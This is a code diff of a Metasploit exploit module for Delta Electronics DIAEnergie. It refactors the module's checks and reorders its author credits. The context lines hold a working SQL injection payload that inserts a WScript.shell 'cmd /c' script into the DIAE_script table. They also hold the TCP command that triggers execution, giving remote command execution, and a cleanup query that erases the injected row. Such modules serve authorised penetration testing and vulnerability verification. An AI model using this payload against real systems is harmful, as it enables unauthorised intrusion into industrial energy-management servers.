@@ -14,8 +14,8 @@ def initialize(info = {})
1414 } ,
1515 'License' => MSF_LICENSE ,
1616 'Author' => [
17- 'Tenable' , # Discovery & PoC
1817 'Michael Heinzl' , # MSF exploit
18+ 'Tenable' # Discovery & PoC
1919 ] ,
2020 'References' => [
2121 [ 'URL' , 'https://www.tenable.com/security/research/tra-2024-13' ] ,
@@ -68,6 +68,11 @@ def check
6868 disconnect
6969 end
7070
71+ if res . empty?
72+ vprint_status ( 'Received an empty response.' )
73+ return Exploit ::CheckCode ::Unknown
74+ end
75+
7176 vprint_status ( 'Who is it response: ' + res . to_s )
7277 version_pattern = /\b \d +\. \d +\. \d +\. \d +\b /
7378 version = res . match ( version_pattern )
@@ -78,11 +83,11 @@ def check
7883
7984 vprint_status ( 'Version retrieved: ' + version [ 0 ] )
8085
81- if Rex ::Version . new ( version ) <= Rex ::Version . new ( '1.10.1.8610' )
82- return CheckCode ::Appears
83- else
86+ unless Rex ::Version . new ( version ) <= Rex ::Version . new ( '1.10.1.8610' )
8487 return CheckCode ::Safe
8588 end
89+
90+ return CheckCode ::Appears
8691 end
8792
8893 def exploit
@@ -112,23 +117,23 @@ def execute_command(cmd)
112117 vprint_status ( "RecalculateHDMWYC~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{ scname } ', N'CreateObject(\" WScript.shell\" ).run(\" cmd /c #{ cmd } \" )', N'', N'');--" )
113118 sock . put "RecalculateHDMWYC~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{ scname } ', N'CreateObject(\" WScript.shell\" ).run(\" cmd /c #{ cmd } \" )', N'', N'');--"
114119 res = sock . get
115- if res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
116- vprint_status ( 'Injection - Expected response received: ' + res . to_s )
117- else
120+ unless res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
118121 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
119122 end
123+
124+ vprint_status ( 'Injection - Expected response received: ' + res . to_s )
120125 disconnect
121126
122127 # Trigger
123128 print_status ( 'Triggering script execution...' )
124129 connect
125130 sock . put "RecalculateScript~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1"
126131 res = sock . get
127- if res . to_s == 'Recalculate Script Start!'
128- vprint_status ( 'Trigger - Expected response received: ' + res . to_s )
129- else
132+ unless res . to_s == 'Recalculate Script Start!'
130133 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
131134 end
135+ vprint_status ( 'Trigger - Expected response received: ' + res . to_s )
136+
132137 disconnect
133138
134139 print_good ( 'Script successfully injected, check thy shell.' )
@@ -138,11 +143,11 @@ def execute_command(cmd)
138143 connect
139144 sock . put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{ scname } ';--"
140145 res = sock . get
141- if res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
142- vprint_status ( 'Cleanup - Expected response received: ' + res . to_s )
143- else
146+ unless res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
144147 fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
145148 end
149+ vprint_status ( 'Cleanup - Expected response received: ' + res . to_s )
150+
146151 disconnect
147152 end
148153 end
0 commit comments